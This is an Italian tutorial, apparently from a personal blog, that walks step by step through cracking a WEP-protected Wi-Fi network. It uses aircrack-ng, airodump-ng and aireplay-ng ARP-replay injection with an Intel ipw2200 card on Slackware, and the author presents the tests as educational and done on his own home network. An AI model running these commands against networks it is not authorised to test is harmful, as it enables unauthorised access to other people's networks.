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ipw2200 (Intel PRO/Wireless 2200BG) packet injection

Leggendo un pò di post qua e la nella rete, mi sono imbattuto spesso in dissertazioni varie sul packet injection. Credo di aver letto qualcosa di sensato e qualcosa di meno sensato, e ho deciso di scrivere qualcosa anche io, tratto da un pò di esperienza sul campo… (:D ndr).

La distro usata è Slackware 12.1 e l’hardware è composto da DLink DWL-G700AP, ipw2200BG su notebook ASUS A6000(A6NE).

Anche se sul notebook è già tutto installato e configurato, ripetiamo cmq le operazioni per una miglior comprensione. Partiamo con lo scaricare i pacchetti necessari, premesso che il kernel 2.6.24.5-smp della Slackware 12.1 rende la ipw2200 funzionante al 100%, quindi le “eventuali patches” che troveremo su siti vari NON SONO NECESSARIE, incluse quelle attualmente pubblicate sul sito di riferimento della suite di Aircrack.

Scarichiamo e installiamo la suite:

root@black:~# wget http://u-clan.homeunix.org/aircrack-ng-1.0-rc1.tar.gz

root@black:~# tar -zxvf aircrack-ng-1.0-rc1.tar.gz

root@black:~# cd aicrack

root@black:~/aircrack-ng-1.0# make

root@black:~/aircrack-ng-1.0# make install

oppure il metodo più semplice rimane quello di usare il Slapt-get:

root@black:~# slapt-get –install aircrack-ng

(ricordo che davanti a “install” ci va il doppio segno meno “-”, che per qualche motivo wordpress elimina lasciandone uno solo.)

Occorre fare alcuni piccoli chiarimenti riguardo la ipw2200. Anche se supporta il “protocollo injection”, questo ha alcune piccole limitazioni, infatti il packet injection risulta un pò più “complesso” perchè bisogna utilizzare più interfacce.
Attraverso Aireplay-NG è possibile utilizzare quindi 3 tipi di attacco:
mode 2 –interactive
mode 3 –arpreplay
mode 4 –chopchop

In primisi cerchiamo info sull’AP utilizzando i classici comandi, quindi apriamo una shell e scriviamo:

root@black:~# iwlist scan

in modo da ottenere SSID e channel, abilitiamo l’interfaccia “rtap0″ modprobandola”:

root@black:~# rmmod ipw2200

root@black:~# modprobe ipw2200 rtap_iface=1

creiamo una connessione con l’AP, utilizzando una “fakekey”, a causa di una limitazione nel driver delle ipw2200, che per funzionare sotto aireplay-ng deve essere in “mode managed” e poi collegata all’AP.

root@black:~# iwconfig eth1 ap

root@black:~# iwconfig eth1 key s:fakekey

root@black:~# iwconfig eth1 mode managed

tiriamo su le interfacce:

root@black:~# ifconfig eth1 up

root@black:~# ifconfig rtap0 up

fatto questo possiamo tirare su airodump-ng e catturare i pacchetti in transito:

root@black:~# airodump-ng –channel –bessid -w file(nome del file .cap, solo il nome, all’estenzione ci penserà da solo) rtap0

nel nostro terminale possiamo quindi vedere se ci sono clients connessi all’AP, e facciamo caso anche ai MAC che compaiono, anche perchè bisognerà utilizzarne uno.

Apriamo un altro terminale e diamo quest’altro comando:

root@black:~# aireplay-ng –arpreplay -b -h -i rtap0 eth1 (questo comando serve a fare il vero e proprio packet injection, infatti dice all’interfaccia rtap0 di rimanere in ascolto e alla eth1 di inoculare codice…badare bene che la qualità del segnale sia alta).

Dopo aver atteso qualche minuto e aver raccolto un numero sufficiente di pacchetti possiamo passare all’uso vero e proprio di aircrack:

root@black:~# aircrack-ng -z -b file.cap(che è il file che contiene i dati necessari al crack, file creato in precedenza con l’uso di airodump).

Fatto questo, il risultato di aircrack dovrebbe essere la password.

Slackware Linux 12.1 kernel 2.6.24.5

L’AP è un DLink DWL-G700AP, la scheda di rete è una ipw2200BG su notebook ASUS A6000(a6ne)

Tutti i test effettuati sono per puro e semplice motivo didattico, effettuati sulla rete wifi di casa mia, per scoprirne le vulnerabilità.

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